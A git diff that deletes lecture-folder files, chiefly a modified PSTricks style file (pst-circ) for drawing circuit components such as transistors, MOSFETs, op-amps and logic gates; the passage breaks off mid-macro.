77f9a58293860f0dc656c147a21167a5883ac01d..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-3.png and /dev/null differ diff --git a/20210426/flip-flop-4.png b/20210426/flip-flop-4.png deleted file mode 100644 index cf17d0188981417dfb5f873b5c10e8acd2fc7e6d..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-4.png and /dev/null differ diff --git a/20210426/flip-flop-5.png b/20210426/flip-flop-5.png deleted file mode 100644 index c02b96ed5887fc14426eb402fda341746f761141..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-5.png and /dev/null differ diff --git a/20210426/flip-flop-6.png b/20210426/flip-flop-6.png deleted file mode 100644 index 38552261a345c8e61cac252cd039416b106e6b74..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop-6.png and /dev/null differ diff --git a/20210426/flip-flop.xcf.gz b/20210426/flip-flop.xcf.gz deleted file mode 100644 index e1da764f1ecd10762031a376337c8f0ffad95670..0000000000000000000000000000000000000000 Binary files a/20210426/flip-flop.xcf.gz and /dev/null differ diff --git a/20210426/logo-hochschule-bochum-cvh-text-v2.pdf b/20210426/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210426/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210426/logo-hochschule-bochum.pdf b/20210426/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210426/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210426/pgslides.sty b/20210426/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210426/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210426/pst-circ-pg.sty b/20210426/pst-circ-pg.sty deleted file mode 100644 index d929067cfd6101b2c24002b0073843978281494e..0000000000000000000000000000000000000000 --- a/20210426/pst-circ-pg.sty +++ /dev/null @@ -1,2742 +0,0 @@ -%% This is the file `pst-circ-pg.tex', a modified version of `pst-circ.tex'. -%% -%% IMPORTANT NOTICE: -%% -%% Package `pst-circ.tex' -%% -%% Original idea: A.Premoli I.Maio, M.Luque, -%% -%% Christophe Jorssen <CJ@PSTricks.de> -%% Herbert Voss <voss@PSTricks.de> -%% -%% Modifications by Peter Gerwinski <peter@gerwinski.de>: -%% - do not draw a dot in the middle of a transistor ("\psdot(#1)") -%% - draw MOSFETs -%% - new logic type "user" with explicit number of outputs "NOutput" -%% and explicit label "\logicusertype" -%% -%% This program can be redistributed and/or modified under the terms -%% of the LaTeX Project Public License Distributed from CTAN archives -%% in directory CTAN:/macros/latex/base/lppl.txt. -%% -%% DESCRIPTION: -%% `pst-circ' is a PSTricks package to draw electric circuits -%% -%% For a ChangeLog go the the end -%% -\csname PSTcircLoaded\endcsname -\let\PSTcircLoaded\endinput -% -% Require PSTricks and pst-node packages -% -\ifx\PSTricksLoaded\endinput\else\input pstricks.tex\fi -\ifx\PSTnodeLoaded\endinput\else\input pst-node.tex\fi -\ifx\PSTXKeyLoaded\endinput\else\input pst-xkey \fi -\ifx\PSTMultidoLoaded\endinput\else\input multido.tex\fi -% -\def\fileversion{1.51} -\def\filedate{2009/02/20} -\message{`pst-circ' v\fileversion (CJ,hv,pd)} -% -\edef\PstAtCode{\the\catcode`\@} -\catcode`\@=11\relax -\pst@addfams{pst-circ} -% -\pstheader{pst-circ.pro} -\SpecialCoor - -% -\newdimen\Pst@position -% -\newcount\pst@count@i -\newcount\pst@count@ii -\newcount\pst@count@iii -% -\newif\ifPst@Dconvention -\newif\ifPst@parallel -\newif\ifPst@parallel@node -\newif\ifPst@T@changeLR -\newif\ifPst@Ttype -\newif\ifPst@FETchanneltype% Ted -\newif\ifPst@Trafo@iprimary -\newif\ifPst@Trafo@isecondary -% -\def\pst@Dconvention@receptor{receptor} -\def\pst@Dconvention@generator{generator} -\def\pst@Ttype@PNP{PNP} -\def\pst@Ttype@NPN{NPN} -\def\pst@Ttype@FET{FET} -\def\pst@Ttype@MOSFET{MOSFET} -\def\pst@FETchanneltype@P{P}% Ted -\def\pst@FETchanneltype@N{N}% Ted -% start Herbert 2003-07-17 -\def\pst@Dstyle@twoCircles{twoCircles} -\def\pst@Dstyle@varistor{varistor} -\def\pst@Dstyle@thyristor{thyristor} -\def\pst@Dstyle@GTO{GTO} -\def\pst@Dstyle@triac{triac} -\def\pst@Dstyle@Z{Z} -% end Herbert 2003-07-17 -\def\pst@Dstyle@normal{normal} -\def\pst@Dstyle@chemical{chemical} -\def\pst@Dstyle@elektor{elektor} -\def\pst@Dstyle@crystal{crystal} -\def\pst@Dstyle@elektorchemical{elektorchemical} -\def\pst@Dstyle@elektorcurved{elektorcurved} -\def\pst@Dstyle@curved{curved} -\def\pst@Dstyle@rectangle{rectangle} -\def\pst@Dstyle@open{open} -\def\pst@Dstyle@close{close} -\def\pst@Dstyle@zigzag{zigzag} -\def\pst@Dstyle@diamond{diamond} -\def\pst@tripole@style@left{left} -\def\pst@tripole@style@right{right} -\def\pst@tripole@style@center{center} -\def\pst@tripole@style@french{french} -% -\define@boolkey[psset]{pst-circ}[Pst@]{intensity}[true]{} -\define@key[psset]{pst-circ}{intensitylabel}[]{\def\psk@I@label{#1}} -\define@key[psset]{pst-circ}{intensitylabelcolor}[black]{\def\psk@I@labelcolor{#1}} -\define@key[psset]{pst-circ}{intensitylabeloffset}[0.5]{\def\psk@I@label@offset{#1}} -\define@key[psset]{pst-circ}{intensitycolor}[black]{\def\psk@I@color{#1}} -\define@key[psset]{pst-circ}{intensitywidth}[\pslinewidth]{\def\psk@I@width{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{tension}[true]{} -\define@key[psset]{pst-circ}{tensionlabel}[]{\def\psk@tension@label{#1}} -\define@key[psset]{pst-circ}{tensionlabelcolor}[black]{\def\psk@tension@labelcolor{#1}} -\define@key[psset]{pst-circ}{tensionoffset}[1]{\def\psk@tension@offset{#1}} -\define@key[psset]{pst-circ}{tensionlabeloffset}[1.2]{\def\psk@tension@label@offset{#1}} -\define@key[psset]{pst-circ}{tensioncolor}[black]{\def\psk@tension@color{#1}} -\define@key[psset]{pst-circ}{tensionwidth}[\pslinewidth]{\def\psk@tension@width{#1}} -\define@key[psset]{pst-circ}{labeloffset}[0.7]{\def\psk@label@offset{#1}} -\define@key[psset]{pst-circ}{labelangle}[0]{\def\psk@label@angle{#1}} -\define@key[psset]{pst-circ}{labelInside}[0]{\def\psk@labelInside{#1}} -\define@key[psset]{pst-circ}{dipoleconvention}[receptor]{\def\psk@Dconvention{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{directconvention}[true]{} -\define@key[psset]{pst-circ}{dipolestyle}[normal]{\def\psk@Dstyle{#1}} -\define@key[psset]{pst-circ}{parallel}[true]{\@nameuse{Pst@parallel#1}} -\define@key[psset]{pst-circ}{parallelarm}[1.5]{\def\psk@parallel@arm{#1}} -\define@key[psset]{pst-circ}{parallelsep}[0]{\def\psk@parallel@sep{#1}} -\define@key[psset]{pst-circ}{parallelnode}[true]{\@nameuse{Pst@parallel@node#1}} -\define@boolkey[psset]{pst-circ}[Pst@wire@]{intersect}[true]{} -\define@key[psset]{pst-circ}{intersectA}{\def\psk@wire@intersectA{#1}} -\define@key[psset]{pst-circ}{intersectB}{\def\psk@wire@intersectB{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{OAperfect}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OApower}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAinvert}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiplus}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiminus}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{OAiout}[true]{} -\define@key[psset]{pst-circ}{OAipluslabel}[]{\def\psk@label@OAiplus{#1}} -\define@key[psset]{pst-circ}{OAiminuslabel}[]{\def\psk@label@OAiminus{#1}} -\define@key[psset]{pst-circ}{OAioutlabel}[]{\def\psk@label@OAiout{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{transistorcircle}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistorinvert}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoribase}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoricollector}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{transistoriemitter}[true]{} -\define@key[psset]{pst-circ}{transistoribaselabel}[]{\def\psk@labeltransistoribase{#1}} -\define@key[psset]{pst-circ}{transistoricollectorlabel}[]{\def\psk@labeltransistoricollector{#1}} -\define@key[psset]{pst-circ}{transistoriemitterlabel}[]{\def\psk@labeltransistoriemitter{#1}} -\define@key[psset]{pst-circ}{FETchanneltype}{\def\psk@FETchanneltype{#1}}% Ted 2007-10-15 -\define@boolkey[psset]{pst-circ}[Pst@]{FETmemory}[true]{} -\define@key[psset]{pst-circ}{transistortype}[NPN]{% - \def\psk@Ttype{#1}% - \ifx\psk@Ttype\pst@Ttype@FET \Pst@transistorcirclefalse\fi - \ifx\psk@Ttype\pst@Ttype@MOSFET \Pst@transistorcirclefalse\fi} -\newdimen\Pst@basesep -\define@key[psset]{pst-circ}{basesep}[0]{\pst@getlength{#1}\Pst@basesep} -\define@key[psset]{pst-circ}{TRot}[0]{\pst@checknum{#1}\Pst@TRot} -\define@key[psset]{pst-circ}{circedge}[\pcangle]{% - \let\pscirc@edge#1% - \ifx\pscirc@edge\@none\def\pscirc@edge(##1)(##2){}\fi% - \ifx\pscirc@edge\pcangles\def\pscirc@edge@sector{2.5}\else\def\pscirc@edge@sector{1.5}\fi% -} -% -\define@key[psset]{pst-circ}{primarylabel}[]{\def\psk@Trafo@primary@label{#1}} -\define@key[psset]{pst-circ}{secondarylabel}[]{\def\psk@Trafo@secondary@label{#1}} -\define@key[psset]{pst-circ}{transformeriprimary}[true]{\@nameuse{Pst@Trafo@iprimary#1}} -\define@key[psset]{pst-circ}{transformerisecondary}[true]{\@nameuse{Pst@Trafo@isecondary#1}} -\define@key[psset]{pst-circ}{transformeriprimarylabel}[]{\def\psk@Trafo@iprimary@label{#1}} -\define@key[psset]{pst-circ}{transformerisecondarylabel}[]{\def\psk@Trafo@isecondary@label{#1}} -\define@key[psset]{pst-circ}{tripolestyle}[normal]{\def\psk@tripole@style{#1}} -\define@boolkey[psset]{pst-circ}[Pst@]{variable}[true]{} -% -\define@boolkey[psset]{pst-circ}[Pst@]{logicChangeLR}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{logicShowDot}[true]{} -\define@boolkey[psset]{pst-circ}[Pst@]{logicShowNode}[true]{} -\define@key[psset]{pst-circ}{logicWidth}[1.5]{\def\psk@logic@width{#1}}% hv -\define@key[psset]{pst-circ}{logicHeight}[2.5]{\def\psk@logic@height{#1}}% hv -\define@key[psset]{pst-circ}{logicType}[and]{\def\psk@logic@type{#1}}% hv -\define@key[psset]{pst-circ}{logicNInput}[2]{\def\psk@logic@nInput{#1}}% hv -\define@key[psset]{pst-circ}{logicNOutput}[2]{\def\psk@logic@nOutput{#1}}% pg -\define@key[psset]{pst-circ}{logicJInput}[2]{\def\psk@logic@JInput{#1}}% hv -\define@key[psset]{pst-circ}{logicKInput}[2]{\def\psk@logic@KInput{#1}}% hv -\define@key[psset]{pst-circ}{logicWireLength}[0.5]{\def\psk@logic@wireLength{#1}}% hv -\define@key[psset]{pst-circ}{logicLabelstyle}[\small]{\def\psk@logic@labelstyle{#1}}% hv -\define@key[psset]{pst-circ}{logicSymbolstyle}[\large]{\def\psk@logic@symbolstyle{#1}}% hv -\define@key[psset]{pst-circ}{logicSymbolpos}[0.5]{\def\psk@logic@symbolpos{#1}}% hv -\define@key[psset]{pst-circ}{logicNodestyle}[\footnotesize]{\def\psk@logic@nodestyle{#1}}% hv - -% -\def\pst@logic@type@and{and} -\def\pst@logic@type@or{or} -\def\pst@logic@type@nand{nand} -\def\pst@logic@type@nor{nor} -\def\pst@logic@type@not{not} -\def\pst@logic@type@exor{exor} -\def\pst@logic@type@exnor{exnor} -\def\pst@logic@type@user{user} -% -\def\pst@logic@type@RS{RS} -\def\pst@logic@type@D{D} -\def\pst@logic@type@JK{JK} -% -\psset[pst-circ]{% - labelInside=0,circedge=\pcangle, - intensity=false,intensitylabel={}, - intensitylabeloffset=0.5, - intensitycolor=black,intensitylabelcolor=black,intensitywidth=\pslinewidth, - tension=false,tensionlabel={},tensionoffset=1,tensionlabeloffset=1.2, - tensioncolor=black,tensionlabelcolor=black,tensionwidth=\pslinewidth, - labeloffset=0.7,labelangle=0,dipoleconvention=receptor,directconvention=true,dipolestyle=normal - parallel=false,parallelarm=1.5,parallelsep=0,parallelnode=false, - intersect=false,OAperfect=true,OAinvert=true, - OAiplus=false,OAiminus=false,OAiout=false,OAipluslabel={}, - OAiminuslabel={},OAioutlabel={},OApower=false,% - transistorcircle=true, transistorinvert=false, % hv 2003-07-23 - transistoribase=false,transistoricollector=false,transistoriemitter=false,% - transistoribaselabel={},basesep=0pt, - transistoricollectorlabel={},transistoriemitterlabel={}, - transistortype=NPN,TRot=0,% - FETmemory=false, % atosch - primarylabel={},secondarylabel={},transformeriprimary=false,transformerisecondary=false, - transformeriprimarylabel={},transformerisecondarylabel={}, - tripolestyle=normal,variable=false, - logicShowDot=false, logicShowNode=false, logicChangeLR=false, % hv - logicWireLength=0.5, logicWidth=1.5, logicHeight=2.5, % hv - logicNInput=2, logicJInput=2, logicKInput=2, logicType=and, % hv - logicLabelstyle=\small, logicSymbolstyle=\large, - logicSymbolpos=0.5,logicNodestyle=\footnotesize -}% hv - -% -\newpsstyle{baseOpt}{circedge=\pcline,arrows=-,arm=.5,angleA=0,angleB=180} -\newpsstyle{emitterOpt}{arrows=-,arm=.5,angleA=180,angleB=-90}% -\newpsstyle{collectorOpt}{arrows=-,arm=.5,angleA=180,angleB=90} -% -\def\wire{\@ifnextchar[{\pst@draw@wire}{\pst@draw@wire[]}} -\def\tension{\@ifnextchar[{\pst@draw@tension@}{\pst@draw@tension@[]}} -% -\def\RFLine{\@ifnextchar[{\pst@RFLine}{\pst@RFLine[]}} -\def\pst@RFLine[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@RFLine}\ignorespaces} -% -\def\resistor{\@ifnextchar[{\pst@resistor}{\pst@resistor[]}} -\def\pst@resistor[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@resistor}\ignorespaces} -% -\def\relais{\@ifnextchar[{\pst@relais}{\pst@relais[]}} -\def\pst@relais[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@relais}\ignorespaces} -% -\def\capacitor{\@ifnextchar[{\pst@capacitor}{\pst@capacitor[]}} -\def\pst@capacitor[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@capacitor}\ignorespaces} -% -\def\battery{\@ifnextchar[{\pst@battery}{\pst@battery[]}} -\def\pst@battery[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@battery}\ignorespaces} -% -\def\coil{\@ifnextchar[{\pst@coil}{\pst@coil[]}} -\def\pst@coil[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@coil}\ignorespaces} -% -\def\Ucc{\@ifnextchar[{\pst@Ucc}{\pst@Ucc[]}} -\def\pst@Ucc[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Ucc}\ignorespaces} -% -\def\Icc{\@ifnextchar[{\pst@Icc}{\pst@Icc[]}} -\def\pst@Icc[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Icc}\ignorespaces} -% -\def\switch{\@ifnextchar[{\pst@switch}{\pst@switch[]}} -\def\pst@switch[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@switch}\ignorespaces} -% -\def\diode{\@ifnextchar[{\pst@diode}{\pst@diode[]}} -\def\pst@diode[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@diode}\ignorespaces} -% -\def\Zener{\@ifnextchar[{\pst@Zener}{\pst@Zener[]}} -\def\pst@Zener[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@Zener}\ignorespaces} -% -\def\lamp{\@ifnextchar[{\pst@lamp}{\pst@lamp[]}} -\def\pst@lamp[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@lamp}\ignorespaces} -% -\def\circledipole{\@ifnextchar[{\pst@circledipole}{\pst@circledipole[]}} -\def\pst@circledipole[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@circledipole}\ignorespaces} -% -\def\LED{\@ifnextchar[{\pst@LED}{\pst@LED[]}} -\def\pst@LED[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@LED}\ignorespaces} -% -% pd start ==================================================== -\def\dashpot{\@ifnextchar[{\pst@dashpot}{\pst@dashpot[]}} -\def\pst@dashpot[#1](#2)(#3)#4{{% - \pst@draw@dipole{#1}{#2}{#3}{#4}\pst@draw@dashpot}\ignorespaces} -% pd end ====================================================== -% -\def\OA{\pst@object{OA}} -\def\OA@i(#1)(#2)(#3){% - \addbefore@par{dimen=middle}% - \begin@ClosedObj% - \if\psk@label@OAiplus\@empty\else\psset{OAiplus=true}\fi% - \if\psk@label@OAiminus\@empty\else\psset{OAiminus=true}\fi% - \if\psk@label@OAiout\@empty\else\psset{OAiout=true}\fi% - \ifPst@intensity\psset{OAiplus=true,OAiminus=true,OAiout=true}\fi% - \pst@getcoor{#1}\pst@tempa - \pst@getcoor{#2}\pst@tempb - \pst@getcoor{#3}\pst@tempc - \pnode(!% - \pst@tempa /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempb /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempc /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /XC X1 X2 lt {X3 X2} {X3 X1} ifelse add 2 div def - /YC Y1 Y2 add 2 div def - XC YC){C@} - \rput(C@){\pst@draw@OA} - \ncangle[arrows=-,arm=.5,angleA=0,angleB=180]{#1}{\ifPst@OAinvert Minus@\else Plus@\fi} - \ncput[npos=2]{\pnode{\ifPst@OAinvert Minus@@\else Plus@@\fi}} - \ifPst@OAiplus - \ifPst@OAinvert\else - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiplus} - \fi - \fi - \ifPst@OAiminus - \ifPst@OAinvert - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiminus} - \fi - \fi - \ncangle[arrows=-,arm=.5,angleA=0,angleB=180]{#2}{\ifPst@OAinvert Plus@\else Minus@\fi} - \ncput[npos=2]{\pnode{\ifPst@OAinvert Plus@@\else Minus@@\fi}} - \ifPst@OAiplus - \ifPst@OAinvert - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiplus} - \fi - \fi - \ifPst@OAiminus - \ifPst@OAinvert\else - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \nbput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiminus} - \fi - \fi - \ncangle[arrows=-,arm=.5,angleA=180,angleB=0]{#3}{S@} - \ncput[npos=2]{\pnode{S@@}} - \ifPst@OAiout - \ncput[npos=2.5]{% - \psline[linecolor=\psk@I@color, - linewidth=\psk@I@width,arrowinset=0]{->}(-.1,0)(.1,0)} - \naput[npos=2.5]{\csname\psk@I@labelcolor\endcsname\psk@label@OAiout} - \fi - \psline[linestyle=none](#1)(#2)% for the end arrows - \psline[linestyle=none](#1)(#3)% for the end arrows - \end@ClosedObj - \ignorespaces% -} -% -\newif\ifPst@temp -\def\transistor{\def\pst@par{}\pst@object{transistor}} -\def\transistor@i(#1){% -% \addbefore@par{circedge=\pcangle} - \pst@killglue - \begingroup - \use@par% - \@ifnextchar({\transistor@iii(#1)}{\Pst@tempfalse\transistor@ii(#1)}} -% -\def\transistor@ii(#1)#2#3{% with one node, the base - \pst@killglue% - \ifPst@temp\pnode(#1){TBaseNode}% - \else% - \pst@getcoor{#1}\pst@tempA% - \pnode(! - \pst@tempA /YB exch \pst@number\psyunit div def - /XB exch \pst@number\psxunit div def - /basesep \Pst@basesep\space \pst@number\psxunit div def - XB basesep \Pst@TRot\space cos mul add - YB basesep \Pst@TRot\space sin mul add){TBaseNode}% base node - \fi% -% \psdot(#1)% - \rput[c]{\Pst@TRot}(TBaseNode){%(#1){% - \ifPst@transistorcircle\pscircle(0.3,0){0.7}\fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@FETmemory% atosch - \psline[arrows=-,linewidth=\psk@I@width](-0.15,0.5)(-0.15,-0.5)% - \fi% - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,0.5)(TBaseNode|0,-0.5)% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \pnode(0.12,0|TBaseNode){TRightNode} - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,-1)(TBaseNode|0,0)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-1)(TRightNode|0,-0.8)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-0.7)(TRightNode|0,-0.3)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,-0.2)(TRightNode)% - \else - \psline[arrows=-,linewidth=\psk@I@width](TBaseNode|0,1)(TBaseNode|0,0)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,1)(TRightNode|0,0.8)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,0.7)(TRightNode|0,0.3)% - \psline[arrows=-,linewidth=\psk@I@width](TRightNode|0,0.2)(TRightNode)% - \fi - \else - \psline[arrows=-,linewidth=4\pslinewidth](TBaseNode|0,0.4)(TBaseNode|0,-0.4)% - \fi\fi% - \ifnum180=\Pst@TRot\relax% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@transistorinvert\pnode(0.75,-0.5){#2}\else\pnode(0.75,-0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,0.5){#3}\else\pnode(0.75,0.5){#2}\fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \ifPst@transistorinvert\pnode(0.75,0.0){#2}\else\pnode(0.75,0.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,1.0){#3}\else\pnode(0.75,1.0){#2}\fi% - \else - \ifPst@transistorinvert\pnode(0.75,0.0){#2}\else\pnode(0.75,0.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.75,1.0){#3}\else\pnode(0.75,1.0){#2}\fi% - \fi - \else% - \ifPst@transistorinvert\pnode(0.5,-0.5){#2}\else\pnode(0.5,-0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.5,0.5){#3}\else\pnode(0.5,0.5){#2}\fi% - \fi\fi% - \else% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifPst@transistorinvert\pnode(0.65,0.5){#2}\else\pnode(0.65,0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.65,-0.5){#3}\else\pnode(0.65,-0.5){#2}\fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \ifPst@transistorinvert\pnode(0.65,-1.0){#3}\else\pnode(0.65,-1.0){#2}\fi% - \ifPst@transistorinvert\pnode(0.65,0.0){#2}\else\pnode(0.65,0.0){#3}\fi% - \else - \ifPst@transistorinvert\pnode(0.65,1.0){#2}\else\pnode(0.65,1.0){#3}\fi% - \ifPst@transistorinvert\pnode(0.65,0.0){#3}\else\pnode(0.65,0.0){#2}\fi% - \fi - \else% - \ifPst@transistorinvert\pnode(0.5,0.5){#2}\else\pnode(0.5,0.5){#3}\fi% - \ifPst@transistorinvert\pnode(0.5,-0.5){#3}\else\pnode(0.5,-0.5){#2}\fi% - \fi\fi% - \fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% - \ifnum180=\Pst@TRot\relax - \psline[arrows=-](0.6,0.5)(0.05,0.5)(0.05,-0.5)(0.6,-0.5)% - \else - \psline[arrows=-](0.65,0.5)(0.15,0.5)(0.15,-0.5)(0.65,-0.5)% - \fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifnum180=\Pst@TRot\relax - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[arrows=-](0.6,-1.0)(0.05,-1.0)% - \psline[arrows=-](0.05,0.0)(0.6,0.0)% - \else - \psline[arrows=-](0.6,1.0)(0.05,1.0)% - \psline[arrows=-](0.05,0.0)(0.6,0.0)% - \fi - \else - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[arrows=-](0.65,-1.0)(0.12,-1.0)% - \psline[arrows=-](0.12,0.0)(0.65,0.0)% - \else - \psline[arrows=-](0.65,1.0)(0.12,1.0)% - \psline[arrows=-](0.12,0.0)(0.65,0.0)% - \fi - \fi% - \else% - \psline[arrows=-](0.5,0.5)(TBaseNode)(0.5,-0.5)% - \fi\fi% - \ifx\psk@Ttype\pst@Ttype@FET\relax% -% \ifx\psk@Ttype\pst@Ttype@PNP\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% Ted 2007-10-15 - \psline[origin={#3},arrowinset=0,arrowsize=8\pslinewidth]{->}(-0.5,0)% - \else% - \psline[origin={#2},arrowinset=0,arrowsize=8\pslinewidth]{<-}(-0.5,0)% - \fi% - \else\ifx\psk@Ttype\pst@Ttype@MOSFET\relax% - \ifx\psk@FETchanneltype\pst@FETchanneltype@P\relax% - \psline[origin={#3},arrows=-](0,-0.5)% - \psline[origin={#3},arrowinset=0,arrowsize=8\pslinewidth]{<-}(0,-0.5)(-0.5,-0.5)% - \else% - \psline[origin={#2},arrows=-](0,0.5)% - \psline[origin={#2},arrowinset=0,arrowsize=8\pslinewidth]{->}(0,0.5)(-0.5,0.5)% - \fi% - \else% - \ifx\psk@Ttype\pst@Ttype@PNP\relax% - \psline[arrowinset=0,arrowsize=8\pslinewidth]{->}(#3)(TBaseNode)% - \else% - \psline[arrowinset=0,arrowsize=8\pslinewidth]{->}(TBaseNode)(#2)% - \fi% - \fi\fi% - }% - \ifPst@temp\else\endgroup\fi% - \ignorespaces% -} -% -\def\transistor@iii(#1)(#2)(#3){% with three nodes - \pst@getcoor{#1}\pst@tempA% - \pst@getcoor{#2}\pst@tempB% - \pst@getcoor{#3}\pst@tempC% - \pnode(!% - \pst@tempA /Y1 exch \pst@number\psyunit div def - /X1 exch \pst@number\psxunit div def - \pst@tempB /Y2 exch \pst@number\psyunit div def - /X2 exch \pst@number\psxunit div def - \pst@tempC /Y3 exch \pst@number\psyunit div def - /X3 exch \pst@number\psxunit div def - /LR X1 X2 lt { false }{ true } ifelse def % change left-right - /basesep \Pst@basesep\space \pst@number\psxunit div def - /XBase X1 basesep \Pst@TRot\space cos mul add def - /YBase Y1 basesep \Pst@TRot\space sin mul add def - XBase YBase ){@@base}% base node -% - \Pst@temptrue% - \transistor@ii(@@base){@@emitter}{@@collector}% -% - \if\psk@labeltransistoribase\@empty\else\psset{transistoribase=true}\fi% - \if\psk@labeltransistoriemitter\@empty\else\psset{transistoriemitter=true}\fi% - \if\psk@labeltransistoricollector\@empty\else\psset{transistoricollector=true}\fi% - \ifPst@intensity\psset{transistoribase=true,transistoriemitter=true,transistoricollector=true}\fi% -% - \bgroup\psset{style=baseOpt}\pscirc@edge(#1)(TBaseNode)\egroup% - \ifPst@transistoribase% base current? - \ncput[npos=0.5,nrot=\Pst@TRot]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - arrowsize=6\pslinewidth,arrowinset=0]{->}(-.1,0)(.1,0)}% - \naput[npos=0.5]{\csname\psk@I@labelcolor\endcsname\psk@labeltransistoribase}% - \fi% - \bgroup% - \psset{style=collectorOpt}% - \ifPst@transistorinvert\pscirc@edge(#3)(@@emitter)\else\pscirc@edge(#3)(@@collector)\fi% - \egroup% - \ncput[npos=2]{\pnode{\ifPst@transistorinvert @@emitter\else @@collector\fi}}% - \ifPst@transistoriemitter% emitter current? - \ifPst@transistorinvert% emitter/collector changed? - \ncput[npos=\pscirc@edge@sector,nrot=:U]{% - \psline[linecolor=\psk@I@color,linewidth=\psk@I@width,% - 